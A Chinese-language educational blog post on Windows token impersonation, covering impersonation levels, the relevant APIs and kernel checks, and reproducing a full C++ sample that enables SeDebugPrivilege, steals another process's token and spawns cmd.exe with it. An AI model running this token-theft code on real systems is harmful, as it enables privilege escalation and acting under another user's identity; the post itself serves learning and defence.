在 Winows 中,Token Impersonate 是將 token 複製一份給別的 thread 使用,該 thread 便可以以 token 中的 security context 進行操作。
使用到的場景會是 client 在使用某個 server 提供的 service 時,會需要 service 以 client 的 security context 存取 service 需要的資源。
在使用 Token 的時候會先需要啟用 Access Rights 才能有特殊操作權限
(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)
在本系列的第一篇有提到 token 只有兩種:Primary Token 和 Impersonation Token。而 Impersonation token 即使在 Impersonate 成功取得 token 後,還是有區分出不同 Impersonation Level 表示該 Impersonation token 的模擬程度。
根據 csandker 的文章,Impersonation Level 由低至高可以分為4種:
(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)
其中 Impersonation 和 Identification 會是後面 Token Impersonate 檢查來判斷該給予何種 Impersonation Level。
接著介紹一些 Token Impersonate 會用到的API。
以下介紹在最一般的情況下,一個 thread 想要 impersonate token 需要用到的 APIs。
DuplicateTokenEx 可以複製現有的 token 並建立一個新的 token,也就是 Impersonate Token。
TokenType 可以是 Primary Token 或 Impersonation Token。
BOOL DuplicateTokenEx(
[in] HANDLE hExistingToken,
[in] DWORD dwDesiredAccess,
[in, optional] LPSECURITY_ATTRIBUTES lpTokenAttributes,
[in] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
[in] TOKEN_TYPE TokenType,
[out] PHANDLE phNewToken
);
ImpersonateLoggedOnUser 也是 Impersonation Token 會用到的 API,會切換 LoggedOnUser。
BOOL ImpersonateLoggedOnUser(
[in] HANDLE hToken
);
RevertToSelf 是用來還原 thread 本身 token 有的 security context。
BOOL RevertToSelf();
我們可以從這張圖來認識攻擊者在進行 Token Impersonate 時,需要通過的檢查
這張圖是我在今年的 CYBERSEC 演講中有用到的圖,主要是根據 James Forshaw 的演講修改而成。我新增了左邊的部分是攻擊者會先檢視要攻擊的服務,之後才會檢查是否可以 Token Impersonation
SeTokenCanImpersonate 主要會需要通過以下檢查:
檢查 Token 的 Impersonate Level 是否有 Impersonation Level 以上:
檢查 Token 的 Privilege 是否有 SeImpersonatePrivilege:
檢查 Process 的 Integrity Level 是否大於 Token 的 Integrity Level:
檢查 Process 的 User 是否和 Token 的 User 相同:
[TODO] 還有一些檢查後續會補上 (e.g., capability check, elevation check, session id check)
從圖中也可以看到如果沒有 Impersonate 成功,還是會回傳 Identification Level 的 Impersonation Token。這個 Token 是合法 Token 但是少了許多權限。James Forshaw 的研究也發現這種 Identification Token 還是可以用來通過很多檢查不確實的 API。
以這篇文章 的 sample code 為例,這個 token impersonation 方法很常出現在攻擊的實作。
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
步驟可以分為:
以上就是 Token & Object 大致的介紹,下一篇我要介紹的是 User Access Control (UAC)!